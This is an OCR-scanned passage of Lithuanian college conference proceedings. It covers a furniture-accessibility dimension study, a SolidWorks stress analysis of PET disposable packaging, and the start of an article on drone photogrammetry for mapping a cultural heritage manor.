pakankamai priartéti prie fotelio ir netrukdyty persédimo metu. Tradiciniuose foteliuose
nebuvo rasta sulankstomy ar nuimamy porankiy, jie pritvirtinti ir negalima nuimti ar
atlenkiami (Adata, n.d.).

Fotelis pritaikytas judéjimo negalia turintiems asmenims parodytas 4 paveiksle.

4 pav. Fotelis pritaikytas judéjimo negalig turintiems asmenims (Adata, n.d.)

Siekiant nustatyti, kurie matmenys nepritaikyti judéjimo negalia turintiems
asmenims, naudojant jprastinias miegamasias lovas, atsitiktine tvarka internetiniame
kataloge apzvelgti jprastiniy miegamyjy lovy matmenys, kurie pateikti 3 lenteléje.

5 pav. Jprastiné miegamoji lova (Baldail katalogas, 2024)
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3 lentelé Iprastiniy miegamyjy lovy pagrindiniai matmenys

(sudaryta pagal Baldail, n.d.)

Lovos aukstis nuo
Nr. Plotis (cm) llgis (cm) grindy iki ¢iuZinio
vir§aus (cm)
1. 183 206 51,5
2. 168 216 54
3. 166 209 53
4. 172 210 52
5. 163 206 46,5
6. 163 202 375
7. 140 212 57,5
8. 208 208 48,5
9. 82 208 60,5
10. 90 205 41
11 80 207 475
12. 180 220 61
13. 80 195 40
Vidurkis: 149 208 50

Iprastiniy lovy vidutinis aukstis nuo grindy iki ¢iuzinio virSaus atitinka
prieinamumo Standartus, kuris turi baiti nuo 43 cm iki 58 cm, tadiau yra lovy, kuriy
aukstis neatitinka standarty, yra aukstesniy (pvz. 60,5 ir 61 cm) ir zemesniy (37,5 cm)
nei standarte rekomenduojamas aukstis. Lovos aukstis yra labai svarbus prieinamumo
aspektas zmonéms turintiems judéjimo negalig, kadangi jei lova bus per auksta arba per
zema, bus labai sunku arba nejmanoma persésti i§ jprasto nejgaliyjy vezimélio sédynés
aukscio (Corada, n.d.).
Lova pritaikyta judéjimo negalig turintiems asmenims parodyta 6 paveiksle.

6 pav. Miegamoji lova pritaikyta judéjimo negalig turintiems asmenims

(homemydesign ir kt., 2017)
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Tyrimo rezultatai ir jy aptarimas

RaSomuyjy staly pagrindiniai funkciniai matmenys. [prastinio raSomojo stalo
nuo grindy iki stalvir§io vidutinis aukstis 73,1 cm neatitinka prieinamumo standarty
pritaikyty judéjimo negalia turintiems asmenims, kuris turéty biiti ne mazesnis nei 75 cm.

Iprastiniy raSomyjy staly plotis tarp Soniniy skydy 78,1 cm atitinka
rekomenduojamg plotj, kuris turi bliti ne maZesnis nei 75 cm, taciau, kai kuriy staly
plociai yra siauresni (65; 72 ir 73 cm).

Iprastiniy foteliy pagrindiniai funkciniai matmenys. Fotelio sédynés
vidutinis plotis 56 cm atitinka standartus, kuris turi biiti ne mazesnis nei 53 cm, bet yra
siauresniy (49 ir 50 cm), kad biity galima saugiai ir lengvai persésti i§ nejgaliojo
vezimélio.

Fotelio vidutinis aukstis 44 cm atitinka prieinamumo standartus, kuris
rekomenduojamas nuo 43 iki 48 cm, taciau yra Zemesniy (42 cm), neatitinkanciy
prieinamumo standarty.

Miegamyju lovy pagrindiniai funkciniai matmenys. Lovos vidutinis aukstis
nuo zemes iki ¢iuzinio virSaus 50 cm atitinka standartus, pagal kuriuos turi biiti nuo 43
iki 58 cm, taiau yra lovy, kuriy aukstis yra per Zemas (37,5 cm) arba per aukstas (60,5
ir 61 cm).

Be to, tradiciniuose balduose triiksta svarbiy savybiy. Reguliuojama foteliy
galvos ir nugaros atrama padidina patoguma ir palaiko laikysena. Atlenkiami arba
nuimami porankiai leidzia lengviau ir be kliti¢iy persésti i§ nejgaliyjy veziméliy j balda.

ISvados

Siame tyrime buvo nagrinéjami ir lyginami jprastiniy baldy (31 vnt.) funkciniai
matmenys su matmenimis baldy, kurie skirti asmenims, turintiems judéjimo negalia.

Atlikus tyrimg buvo nustatyti pagrindiniai skirtumai ir panaSumai, kurie leido
suprasti, kokia svarbi yra baldy dizaino prieinamumo svarba.

Atlikus tyrimg nustatyta, kad jprastiniy raSomyjy staly stalvirSio vidutinis
aukstis 73,1 cm neatitinka prieinamumo standarty pritaikyty judéjimo negalia
turintiems asmenims. Staly plotis tarp Soniniy skydy 78,1 c¢cm atitinka rekomenduojama
plotj, kuris turi biiti ne maZesnis nei 75 cm.

Atlikus tyrima nustatyta, kad fotelio sédynés vidutinis plotis 56 cm atitinka
standartus, kuris turi biiti ne mazesnis nei 53 cm. Fotelio vidutinis aukstis 44 cm atitinka
prieinamumo standartus, kuris rekomenduojamas nuo 43 iki 48 cm.

Atlikus tyrima nustatyta, kad lovos vidutinis auks$tis nuo Zemés iki ¢iuzZinio
virSaus 50 cm atitinka standartus, pagal kuriuos turi buti nuo 43 iki 58 cm.

Atlikus tyrima nustatyta, kad tradiciniuose balduose triiksta svarbiy savybiy:
reguliuojamy galvos ir nugaros atramy, atlenkiamy arba nuimamy porankiy, kurie
leidzia lengviau ir be kliti¢iy persésti i§ nejgaliyjy vezimeliy.
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Summary

In this article, functional dimensions of conventional furniture (31 pieces) with furniture designed
for persons with reduced mobility were examined and compared. The main differences and
similarities were identified, which gave an insight into the importance of accessibility in furniture
design. Review of conventional furniture revealed that while some average dimensions may
appear similar, a broader look at the dimensions of conventional furniture revealed that they did
not meet accessibility standards for persons with reduced mobility.
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Vienkartinés pakuotés dizaino jtaka stiprumui, standumui

ir gamybos procesui

Zydriiné Sagkevitiiité, Vilma Sipailaité-Ramo$kiené
Kauno kolegija

Anotacija. Siame straipsnyje i$nagrinéta vienkartinés pakuotés dizaino jtaka
jos stiprumui ir gamybos procesui. Teoringje dalyje aptariami vienkartinés pakuotés
dizaino ir gamybos ypatumai, kurie leisty pakuotei tapti standzia nenaudojant daugiau
medzZiagos. I8tirtas pakuoCiy atsparumas lenkimui SOLIDWORKS® 3D CAD
programa. Remiantis gautais rezultatais, galima teigti, kad pakuoté A, kuri turi dugno,
sieneliy ir kampy standumo padidinimo sprendimus yra standziausia.

Raktiniai ZodZziai: vienkartiné pakuoté, dizainas, stiprumas, standumas,
polietileno tereftalatas, terminis formavimas.

Ivadas

Plastikinés pakuotés — tai vienas i§ dazniausiai naudojamy produkty, maisto ir
jvairiy gaminiy pakavimui. Pakuoté gali suteikti gaminiui didesnés vertés, papildomo
funkcionalumo ir atpazinimo. Ji uztikrina, kad gaminys bus higieniskas ir nesugadintas.

Prasidéjus COVID-19 pandemijai atsirado dideliy pokyCiy gamyboje ir
vartojime. Dél Europoje taikomy ribojimy COVID-19 turéjo reikSmingg poveikij
vienkartinéms pakuotéms. Dauguma restorany Europoje buvo uZdaryti, daugelis
restorany pradéjo sitlyti maisto iSsineSimo ir pristatymo paslaugas, naudojant
vienkartines pakuotes. Tokiu biidu maisto pramonés verslams nereikéjo uzdaryti savo
verslo, o zmonéms atsisakyti savo mégstamiausiy patickaly. Bet atsiradus Sioms
galimybéms taip pat atsirado nekokybisky pakuociy, kurios yra nepatrauklios ir
neatlieka savo funkcijos, todél yra labai svarbu pakuotei suteikti funkcionaly dizaina,
nes maziausios detalés gali turéti jtakos kliento pasitenkinimui. Vienkartinés pakuotés
yra naudojamos, nes jos yra patogios, higieniskos, funkcionalios ir pigios (European
Environment Agency, 2021).

Darbo problema. Plastikiniy pakuodiy gamybai labai svarbu pagaminti
prototipus ir bandyti jy fizikines bei mechanines savybes, tam, kad uztikrinti pacig
geriausig galutinio gaminio kokybeg, nes neturint prototipo , sunku zinoti kaip plastikas
reaguos ] mechaninius poveikius. Bet daZnai prototipy kiirimas uzima daug laiko ir
pareikalauja papildomy istekliy, nes staklés turi létai frezuoti formg — kitaip sugadins
prototipa ir jrankius. Todél daugelis jmoniy pereina j imitacijy kiirima dél laiko, istekliy
taupymo ir gan tiksliy rezultaty. Tai padeda gaminti baigtinius gaminius, kuriy
nebereikia koreguoti.

Darbo objektas — plastikinés pakuotés su funkcionaliu dizainu, kuris suteikia
standumo briaunas.

Darbo tikslas — sukurti plastiking pakuote, kuri turéty tvirtg konstrukcija ir
patraukly dizaina.
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Teoriné dalis

Siy dieny rinkai yra biidingos graziai atrodanéias pakuotés, nes jos gaminiui
suteikia papildoma verte, higieniska aplinka, padeda nepamesti gaminio daliy, apsaugo
ji ir atkreipia pirkéjo démesj, todél labai svarbu yra sukurti tokj pakuotés dizaing, kad
jis bty ne tik patrauklus, bet ir funkcionalus. Pakuotés funkcionalumas yra glaudziai
susietas su jos dizainu, nes atliekant dizaino sprendimus, galima subtiliai jtraukti
ivairias standuma padidinanc¢ias formas, kurios ne tik suteikia grozio, bet ir atlicka tam
tikrg funkcijg. Tokiu biidu pakuotei yra suteikiamas grazus ir funkcionalus dizainas
(ELD, n.d).

Gaminant pakuote labai svarbu yra atsizvelgti ir | sienelés storj, nes tai gali
turéti jtakos iSlaidoms ir gamybos technologijai. Storesné sienelé yra tvirtesné, bet
pakuoté tampa brangesné. Plonesné sienelé yra pigiau, bet pakuoté maZziau tvirtesne.
Sias problemas i§sprendzia pakuotés dizainas. Su tam tikrais sprendimais, plona, silpna
medziaga gali tapti standesne. Tokiu biidu yra taupomos medziagos ir saugoma gamta
dél mazesnio medziagy kiekio sunaudojimo.

Gaminant pakuote terminiu formavimu staklémis yra tam tikry formuy,
strukttiry, kurios uztikrina lengva ir kokybiska gamybos procesa. RuoSiant galutinj
pakuotés brézinj gamybai daznai gali tekti atsisakyti tam tikry formy, akcenty, nes juos
gali bati nejmanoma jgyvendinti pradiniuose zingsniuose — gaminio prototipo gamyba.
Net jei pavyksta jgyvendinti pradinj Zingsnj, gali atsirasti keblumy naudojant terminio
formavimo stakles — netinkamai i§formuojamas gaminys arba problemos nuimant
pakuote i§ / nuo formos. Sios klaidos trukdo sklandziai gamybai, eikvoja laika ir
iSteklius (Profile plastics, 2015).

Vienos i$§ dazniausiai pasitaikanciy klaidy projektuojant ir gaminant pakuociy
prototipus staklémis:

1) néra suformuoty nuolydziy, kas pasunkina pakuotés iStraukimg nuo / i$
formos, o plastikas pasiskirsto nevienodai, susidaro daugiau silpny viety. Sprendimas —
pakuotés dizainui suteikti daugiau kaip 2 laipsniy nuolydj (Mayku, n.d.).

No draft angle 5° draft angle

X v
1 pav. Pakuotés konstrukcijos elementy nuolydziai

2) aukstis yra didesnis uz plotj ir tai sukelia nevienodg plastiko masés
pasiskirstyma, dél Sios priezasties gali atsirasti jtritkimai. Siekiant iSvengti Siy defekty
siiloma negaminti ypatingai auksty pakuociy, geriau platinti pakuote.
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Height > Width Height < Width

X v
2 pav. Pakuotés ilgi ir ploc¢io santykis

3) per daug astriy kampy — juos yra ne tik sunku pagaminti kai kuriais atvejais,
bet ir sudétinga isformuoti, nes plastikas negali pilnai uzpildyti kampy, taciau tai padaro
pakuotés konstrukcija tvirtesne. Sprendimas — uzapvalinti kampus (Leory, 2022).

Material thinning Consistent thickness

X v

3 pav. Pakuotés kampy formavimas

4) per gilas krastai, kas sukelia sunkumy iStraukti pakuot¢ i§ formos.
Sprendimas — daryti atviresnius, paprastesnius ir ne tokius gilius krastus (Mayku, n.d.).

Undercut No undercut

X v

4 pav. Teisingas pakuotés krasty formavimas

5) per didelis neigiamas nuolydis ir tai sukelia sunkumus i$traukti formg i§
pakuotés. Sprendimas — sumazinti nuolydziy kampus (Ray products, n. d.).
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AnalogiSkos pakuotés apZvalga

Sios pakuotés dizainas yra sudétingas, nes jis yra sudarytas i3 dviejy daliy, tai
reikalauja daugiau iStekliy, projektavimo ir laiko, kad pagaminti pilng komplektacija
Sios pakuotés. Pakuotés dangtis — gali buti meniskas sprendimas, kuris neapsunkina
gamybos ir sustiprina konstrukcija. Dang¢io kampai yra labiau pastebimi. Toks dizaino
sprendimas klientui gali suteikti iliuzija, kad maisto produktas bus lengvas ir skanus.
Suteikiant grazig iSvaizdg yra suteikiamas ir standumas, kuris uZtikrina stipria
konstrukcijg. Kaip ir ankséiau paminétuose pavyzdziuose, nuolydis yra ir Sioje
konstrukcijoje. Dangc¢io dugne yra papildomas krastas, kuris uztikrina tvirta uzdaryma
su tortinés pagrindu. Sis krastas daZniausiai yra keliais milimetrais maZesnis nei
pagrindas, tam, kad dangtis su pagrindu nei$siskirty. Pagrindas — taip pat meniSkas
sprendimas, kuris ne tik graziai atrodo, bet ir turi papildomas funkcijas, kurios daznai
yra nepastebimos. Pagrindo dugnas turi iSskirtinj dizaina, kuris ne tik standumga suteikia,
bet ir lengvesnj torto iSémima. Jeigu dugnas bty lygus, tortg biity labai sudétinga i§imti,
nes jis prilipty prie lygaus pagrindo, kadangi Sioje pakuotéje dugnas turi didelj kiekj
grioveliy ir formy, tortas neprilimpa prie dugno. Grioveliai sustiprina pagrinda o dél
skirtingy formy, nesusidaro lenkimo linijy ir tai padeda pagrindui nelinkti, kai yra
veikiamas apkrova. Nuolydis kuris platéja j virSy, suteikia vietos dang€iui jsistatyti.
Dizainas yra i$skirtinis, kuris suteikia grazy vaizdg ir funkcionaluma.

5 pav. Tortin su dang¢iu ir dugnu https://www.uline.ca/Product/Detail/S-19148/Bakery-
Supplies/Plastic-Cake-Containers-1-4-Sheet

Gaminant vienkartines pakuotes labai svarbu yra pasirinkti tinkamas
medziagas, kurios atitinka saugumo ir higienos reikalavimams bei turi salytj su maistu.
Griez¢iausias reikalavimas plastikams yra plastiko migracija | maista. Maisto
pramonéje plastiko molekuliné masé turi virSyti 1000 daltony, tokiu biidu plastiko
molekulés negali pateikti | zmogaus organizma. Jei gaminant plastika pradinés
medziagos neiSsimaiSo ar netinkamai reaguoja su priedais ir medziagomis, plastikas yra
netinkamas, nes nesureagavusios medziagos, gali patekti j maista, kuris bus uzterstas, o
zmogus nezinodamas gali suvartoti jau uztersta maista (Europos komisija, 2023).
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Vienas i§ saugiausiy ir $variausiy plastiky yra polietileno tereftalatas (PET). Sis
plastikas yra saugiausias ir geriausia medziaga turint salyti su maistu dél savo savybiy:
e lengvai perdirbamas;
labai skaidrus;
puikios mechaninés savybés — stiprus, standus;
platus temperattry spektras -60 iki 130°C;
turi puikias dujy ir drégmés barjerinés savybes (Peter W. Klein, 2009).

Tyrimo metodika

Pakuotés konstrukcijos darbiniy jtempiy analizé atliekama taikant baigtiniy
elementy metoda kompiuterinéje programoje Solidworks Simulation.

Naudojantis Solidworks programa, imitacijy priedu Static buvo tirtos 3 panasios
pakuotés veikiamos apkrova. Pakuotés buvo pagamintos i§ 0,3 mm storio polietileno
tereftalatas (PET). Pakuotés tvirtinimas pasirinktas gale, imituojant realig situacija, kai
pakuoté yra paimama pirStais, o kitame gale yra veikiama apkrova, kuri imituoja
nuslinkusj maista. Zalia spalva nurodo fiksavimo vietas, o violetiné — kriivj (6 pav.)

Galima daryti prielaida, kad pakuotés buvo veikiamos 1 kg (=10 N) apkrova.
Pazyméjus tam tikra pavirSiaus vieta Solidworks programa apskai¢iuoja pavirsiaus plota
ir nustato 1mm? sloginio verte MPa. Norint apskai¢iuoti §j rezultaty reikia naudotis

formule x = % a — pavirSiaus plotas, x — aprovos dydis 1mm2 plote. Pasirinkto

1+10

pavirsiaus plotas — 44 mm?; x = ~ =022 MPa

6 pav. Fiksavimo ir jégos veikimo vietos (Autoriaus nuotrauka 2024)

Trijy pakuoCiy modeliai yra suskaidomi j baigtiniy elementy tinklelius,
pakuoté A — 28496 elementai (7 pav.), B — 11170 elementai (8 pav. ), C — 4848
elementai (9 pav.). Nustatomos polietileno tereftalato (PET) medziagos savybeés,
pakuotés vidy skersai veikiancios apkrovos (10 N) ir jtvirtinimo taSkai esantys ant
pakuociy sieneliy (6 pav. ).
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Mesh Details

Study name
DetailsMesh type
Mesher Used

Jacobian check for shell
Max Element Size

Min Element Size

tdesh quality

Total nodes

Total elements

Time to complete mesh(hh:mm:ss)
Computer name

Static 2* (-he siene
Shell Mesh Using !
Elended curvature
On

4,39549 mm
0.382683 mm

High

57145

28496

00:00:36

7 pav. Pakuotés A tinklelis
(Autoriaus nuotrauka 2024)

Mesh Details

Study name
DetailsMesh type
Mesher Used

Jacohian check for shell
Max Element Size

Min Element Size

Mesh guality

Total nodes

Total elements

Time to cormplete meshthh:mm:ss)
Computer name

Static 1 (-Forma-)

Shell Mesh Using Surfaces
Elended curvature-hased mesh
On

4,22706 mm

0,231237 mm

High

22499

11170

00:00:17

8 pav. Pakuotés B tinklelis
(Autoriaus nuotrauka 2024)

Mesh Details e X

Study name
DetailsMesh type
Mesher Used

Jacobian check for shell
Max Element Size

Min Element Size

Mesh quality

Total nodes

Total elements

Computer name

Jacobian points for High quality mesh

Time to complete mesh{hh:mm:ss)

Static 3 (-Forma
| Mixed Mesh
Blended curvat
16 points
On
7.87938 mm
0,563749 mm
High
9798
14848
00:00:12

9 pav. Pakuotés C tinklelis (autoriaus nuotrauka 2024)

Tyrimo rezultatai ir jy aptarimas

PET (polietileno tereftalato) leistinieji jtempiai yra 30-40 MPa. (Ashby and

Johnson, 2002)

Paveikslélyje (10, 12 ir 14 pav.) galima matyti, kad esant 0.22 MPa sloginiui,
pakuotés A modeliavimo didziausi jtempiai yra 10 MPa, pakuotés B — 56 MPa, 0
pakuotés C — 91 MPa.

Kadangi pakuoté A turéjo visas reikalingas konstrukcijas (11 pav.), kurios
suteikia standumg ir patraukly dizaing, o veikianti apkrova nevirsijo leistinyjy jtempiy
(10 MPa < 30 MPa) pakuoté A buvo tvir¢iausia i$ visy 3 tiriamy pakuodiy (11 pav.).

von Mises (N/mm2 (MPa)

1,037¢+02

L 9333401
. 8286e-01

. 1.25%-01

10 pav. Pakuotés A jtempiai (Autoriaus nuotrauka 2024)

200



11 pav. Pakuotés A dizainas (autoriaus nuotrauka 2024)

Pakuoté B nuo kity pakuociy skyrési savo dizainu ir kampiniy standumo
konstrukeijy trikumu (13 pav.). Sios konstrukcijos tritkumas ir dizaino sprendimas
tur¢jo jtakos pakuotés standumui, todél ji labiau pasidavé veikiamam kriiviui ir virSijo
PET leistinuosius jtempius (56 MPa > 40 MPa) (12 pav.).

von Mises (N/mmA2 (MPa))
5,614e+01
L 5053e+01

. 4491e+01

—» . 3930e+01
_ 3,368e+01
L 2,807e+01

L 2,246e+01

L 1,684e+01

1,123e+01
5,614e+00
0,000 +00

P Yield strength: 4,000e +01

12 pav. Pakuotés B jtempiai (Autoriaus nuotrauka 2024)
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14 pav. Pakuotés C jtempiai (Autoriaus nuotrauka 2024)

Pakuoté C neturéjo dugno struktiiros, kuri padéty pakuotei biiti tvirtai, todél
pakuoté C buvo pati silpniausia i visy ir dvigubai virsijo PET leistinuosius jtempius
(91 MPa > 40 MPa) ( 14 pav.).

von Mises (N/mm~2 (MPa))
9,176e+06
8,2582+06
_ 7,341e+06
_ 6423e+06

_ 5,506e+06

1 L 4588e+06
% |

| 3,670e+06

_ 2,753e+06
1,835¢+06
9,176e+05
0,000€+00

— Yield strength: 4,000e+01

13 pav. Pakuotés B dizainas (autoriaus nuotrauka 2024)
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15 pav. Pakuotés C dizainas (autoriaus nuotrauka 2024)

ISvados
Atlikus trijy PET pakuociy standumo analizg, galima teigti jog konstrukcija

turi didelg jtaka pakuotés standumui. Siekiant nustatyti skirtingo dizainy pakuociy
stipruma, jie buvo vertinami atskirai. Didziausi jtempiai buvo 91 MPa tiriant pakuotg
C. Siuos jtempius palyginus su medziagos (PET) leistinaisiais jtempiais 30-40 MPa,
galima teigti, kad pakuotés C konstrukcija yra nepakankamai stipri (91 MPa > 40 MPa).
Didziausi leistinieji jtempiai, kurie nevir§ijo medziagos jtempiy yra 10 MPa. Siuos
itempius palyginus su medziagos (PET) leistinaisiais jtempiais galima teigti, kad
pakuoté A yra pakankamai stipri, nes didziausi jtempiai nevirsija leistinyjy jtempiy (10
MPa < 30 MPa).
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Summary

In this article, the design of disposable packaging is examined. In the theoretical part the most
suitable material, packaging design features that facilitate production and help the package
become rigid without using more material are described. The distance of the packages under load
was analysed by using Solidworks program. Based on the results, it can be stated that package A,
which has bottom, wall and corner design solutions, is the most rigid.

Keywords: disposable packaging, design, strength, rigidity, polyethylene terephthalate, thermoforming.
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3D skaitmeniniy technologiju panaudojimas kulturos paveldo

objektuy kartografavimui

Laurynas Bernotas, Valdas Urbanavicius
Kauno kolegija

Anotacija. Siame darbe, iSanalizavus galimus kultiiros paveldo duomeny
surinkimui naudojamus baidus tirti bei taikyti 3D skaitmeniniy technologijy, kurios
padeda nustatyti objekto iSskirtinius elementus, uzfiksuoti pazeidimus ir jvertinti jo
unikaluma, buvo pasirinktas fotogrametrinis metodas. Vykdant konkretaus kultiiros
paveldo objekto kartografavima buvo surinkti duomenys su bepilociu orlaiviu, o gautos
aukstos erdvinés skiriamosios gebos aerofotonuotraukos apdorotos programomis
ArcGIS Drone2Map ir Carlson PhotoCapture, kuriy rezultatai atitinka fotogrametriniy
metody ir tikslumo reikalavimus.

Raktiniai Zodziai: kultliros paveldas, bepilotis orlaivis, fotogrametrinis
apdorojimas, 3D technologijos, trimatis vaizdas.

Ivadas

Kultiiros paveldo iSsaugojimas vaidina svarby vaidmenj visuomenéje,
reik§mingai prisidedant prie jo tvarumo, o tai svarbu zmogaus raidai ir gyvenimo
kokybei. Lietuvoje vis dar yra problemy susijusiy kultiiros paveldo objektais. 531
valstybés kultiiros paveldo objekto statusa turintys objektai yra apleisti, nors daznas jy
turi Seimininkus (Kultdiros paveldo..., 2024).

Straipsnyje pristatomi 3D skaitmeniniy technologijy duomeny panaudojimo
galimybés kartografuojant kultiiros paveldo objektus. Sie kultiiros paveldo objekty
duomenys yra ilgaamziski, jie gali biiti cikliSkai atnaujinami, o suteikia galimybe
vykdyti objekto monitoringg. Nykstanciy istoriniy kultiiros paveldo objekty
i8saugojimui svarbu atrasti naujg poziiirj j istoriniy pastaty duomeny surinkima, kaip
architektiirinj tapatumg randant istoring reik§me turinéias vertinggsias prigimtines arba
atsiradusias dél istoriniy pokyc¢iy savybes.

3D technologijy naudojimas pastaty, paminkly ir objekty fiksavimui
palaipsniui tampa jprastas. Siuo metu, tai viena i labai dominan¢iy temy kultiiros
paveldo srityje, o tokiy technologijy ir procesy iSmanymas tampa vis vertingesni.

Tyrimo objektas — kulttros paveldo objekto Geruciy arba Glebavos dvaro
sodyba, esanti Pakruojo rajono savivaldybéje.

Darbo tikslas — pateikti 3D skaitmeniniy technologijy panaudojimo galimybes
kultaros paveldo objekty kartografavimo darbams atlikti.

Tyrimo uZdaviniai:

1. Pateikti bei iSanalizuoti galimus metodus ir blidus naudojamus kultiiros
paveldo objekty kartografavimui;

2. Atlikti aerofotografavimo duomeny gauty i$ bepilocio orlaivio apdorojimo
programiniy jrangy vertinima laiko sanaudy atzvilgiu ir gauta ortofotografiniy vaizdy
kokybg bei tiksluma;
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3. Sukurti pasirinkto istorinio objekto ortofotografinius planus, erdvinj
pavirSiaus modelj ir pastaty trimatj vaizda.

Kultiros paveldo objektu kartografavimo budai

Per pastaruosius du deSimtmecius tobuléjo 3D duomeny gavimui skaitmeninés
technologijos, kartografiné vizualizacija tvirtai jsitvirtino kultliros paveldo praktikoje.
Istoriniams objektams, paminklams ir kraStovaizdzio elementams dokumentuoti buvo
idiegtos naujos skaitmeninimo technologijos, o vizualizacijoms ir rekonstrukcijoms kurti
buvo naudojami sudétingi 3D modeliavimo metodai. 3D kultiiros paveldo skaitmeninimas
yra pirmasis proceso zingsnis. Jj sudaro keli procesai ir pateikiami keli variantai pagal
konkrecius taikymo reikalavimus objektams. D¢l skaitmeninimo poreikiy, kylanciy i$
paciy objekty, sudétingumo, yra daugybé metody ir technologijy. Kiekvienos tokios
technikos tikslas yra sékmingai i§spresti tam tikro tipo objeko ar paminklo klas¢ arba
patenkinti konkreéius konkretaus skaitmeninio jraSymo projekto poreikius (t. y. pilnas
jraSymas archyvavimui, skaitmeninimas pristatymui, skaitmeninimas komerciniam
naudojimui).

Kultiros paveldo objektai nyksta. Istoriniai kultiros paveldo objektai kinta ir
sunku nustatyti sudétingas ir netaisyklingas pastaty formas, nes laikui bégant jvyksta
objekty geometrijos elementy pokyc¢iai (Reinoso-Gordo, Rodriguez-Moreno et al., 2018).

Atliekant kulttiros paveldo objekty tyrimus yra svarbu: atlikti objekto fiksacija
ir archeologinius tyrimus, surinkti istorinius duomenis (teksting ir grafing medziaga),
domeétis objekto statybos istorija, tyrinéti architektiirinius elementus.

3D skaitmeninimo vaidmuo ir galimybés iSsaugant kultiiros pavelda yra
svarbios, nes dvimatés nekilnojamojo kultiiros paveldo perzitros kartais nepakanka,
kad bty patenkinti visi Siuolaikinés visuomenés keliami reikalavimai. Taigi tokius
objektus rekomenduojama kurti ir registruoti | 3D kadastrg. Nuosavybés santykiy
sudétingumo ir nuosavybés teisiy persidengimo pagal sluoksnius (aukstus), kurie gali
biti nekilnojamojoje kultliros vertybéje, registravimas néra pagrindinis kadastro
paslaugos tikslas. 3D kadastro jdiegimas gali labai prisidéti prie istoriniy kultiiros
vertybiy kokybés valdymo (Vuci¢, 2020).

Visiems paveldo elementams kyla daugiau ar maziau nuspéjamy pavojy. Net jei
jie yra geros biiklés ir yra remiami finansiskai (IéSos skiriamos remontui ar objekto
priezitirai), jie gali patirti nenumatytas avarijas, dél kuriy jie nei§vengiamai sunaikinami.
Siekiant juos apsaugoti tikslinga turéti jvairig kartografing medziaga, kurioje uzfiksuoti
kulttros paveldo biiklé, svarbiis kultiiring verte turintys elementai ir pan.

Irenginiy, programinés/techninés jrangos tobulé¢jimo raida leidzia rinkti ir
gauti labai tikslig informacijg. Kiekvieno konkretaus objekto atvejo analizé sietina su
skaitmeninimo metody pasirinkimu ir norimo gauti galutinio produkto rezultatu,
atsizvelgiant j jvairius veiksnius, tokius kaip prieinamumas ir rizika.

Leon, Pérez, Senderos (2020) teigia, kad 3D lazerinis skeneris turi daug
privalumy, nes yra labai greitas ir labai tikslus duomeny gavimo S$altinis, bet
automatizuota fotogrametrija yra viena is labiau prieinamy ir jperkamy 3D technologijy
(bepilogio orlaivio ir duomeny apdorojimui programinés jrangos jsigijimas), norint
pasiekti kultiiros paveldo objekty tinkamiausius matavimo sprendimus.
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Petrovic¢, Grigillo et al. (2021) siiilo sukurti svarbiy kultiros paveldo objekty
skaitmeninius modelius, jy dokumentavimo ar rekonstrukcijos metodikas. Autoriai
teigia, kad tai paprasta, bet ir sudétinga, nes objektas gali biiti sudétingas pastatas,
pastatytas sunkiai prieinamoje vietovéje, visisSkai ar i§ dalies sunkiai pasiekiamas.
Atliekant kulttiros paveldo dokumentavima, tikslinga jvertinti tyrimo tikslus ir salygas.
Svarbu, kad galutiniai gauti 3D modeliai uztikrinty pakankama objekto geometrinj
tiksluma ir iSsamuma.

Pastaraisiais metais pazangiausiy technologijy sintezé atvéré naujus kelius uz
novatoriskg pazanga rekreacijos ir kultiros erdviy iSsaugojimo srityje. Pasak
Konstantakio, Trichopoulos et al. (2024) tarp Siy naujoviy yra fotogrametrijos ir lazerinio
skenavimo integravimas. Toks metody integravimas ir transformuojantis pozitiris tikétina
padidins duomeny tiksluma ir i§samuma kulttiros paveldo objekty atzvilgiu.

Vienas i§ pagrindiniy btudy surinkti kultGros paveldo duomenis yra
fotogrametrijos metody taikymas ir lazerinio skenavimo technologija.

Fotogrametrijoje taikomos techninés ir programinés jrangos padeda atkurti
trimaéius objekty modelius i§ daugybés aerofotonuotrauky. Aerofotonuotraukose
uzfiksuojamos sudétingos objekto detales, originali aplinka. Biina ir nesklandumy, kaip
objekty apsSvietimas, jvairios klifitys ir pan.

Lazerinio skenavimo technologija siejama su tikslumu ir gylio nustatymo
galimybémis. To pasekoje, gaunamas labai tikslus ir daug informacijos pateikiantis
tasky debesis, kuris pateikia erdvinius pozymius su i$skirtinémis objekto geometrinémis
detalémis. Taip pat yra ir nesklandumy, tai atspindinCiy arba skaidriy pavirSiy
nuskaitymo apribojimai. Lazerinio skenavimo technologija pasizymi duomeny gavimo
greiciu ir tikslumu.

Pargiela (2023) teigia, kad fotogrametrija ir bepilociai orlaiviai (UAV)
neatsiejami vienas nuo kito. Bepilociy orlaiviy naudojimas matavimo duomenims gauti
pastaruoju metu tapo labai jprastas. Sis metodas vis daZzniau pasirenkamas jvairioms
reikméms, jskaitant inzineriniy konstrukcijy inventorizacijg ir projektavima,
archeologijg arba nekilnojamojo turto kadastra. Daugybé bepilo¢iy orlaiviy taikomyjy
programy kyla i$ daugybés jdiegty matavimo jutikliy. BepiloCiai orlaiviai gali bati
apriipinti regéjimo jutikliais su skirtingomis spektrinémis charakteristikomis, pradedant
tradicinémis RGB kameromis, baigiant daugiafunkcinémis ir hiperspektrinémis
kameromis ir terminémis kameromis. Taip pat yra nepilotuojamy sistemy su LiDAR
(Yao, Qin, Chen, 2019).

Didelé technologiné ir moksliniy tyrimy plétra nepilotuojamy platformy srityje
leidzia pasiekti didesnj fotogrametriniy tyrimy tikslumg ir raiska. Jy naudojimas gali
buti i§ dalies alternatyva tradiciniams matavimo metodams ar skrydziams naudojant
pilotuojamas oro platformas. Tuo paciu metu bepilodiy orlaiviy naudojimas daugeliu
aspekty sukuria visiSkai naujas galimybes, pavyzdziui, gauti duomenis uZterStose arba
tradiciniams matavimo prietaisams neprieinamose vietose (Pargieta, 2023).

Matuojamo objekto tikslumo reikalavimas yra pagrindinis veiksnys atliekant
fotogrametrinius tyrimus. Kartu Zvelgiant i§ praktinés ir ekonominés pusés, taip pat
svarbu pasiriipinti darby laiko ir sgnaudy ribojimu, todél bitina Siuos veiksnius
subalansuoti ir siekti optimaliy sprendimy. Bepilocio orlaivio pasirinkimas siejamas su
ekonominiais veiksniais.
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Technologijoms toliau tobulé¢jant, bepilociai orlaiviai vaidina vis svarbesnj
vaidmen]j formuojant archeologinius tyrimus: vietoviy ir objekty aptikimas, stebéjimas
ir ankstyvas pokyc¢iy nustatymas labai svarbus prevenciniam i$saugojimui (Khelifi,
Ciccone etal., 2021). Kultiiros paveldo objekty tyrimai atliekami (Pal¢ak, Kudela et al.,
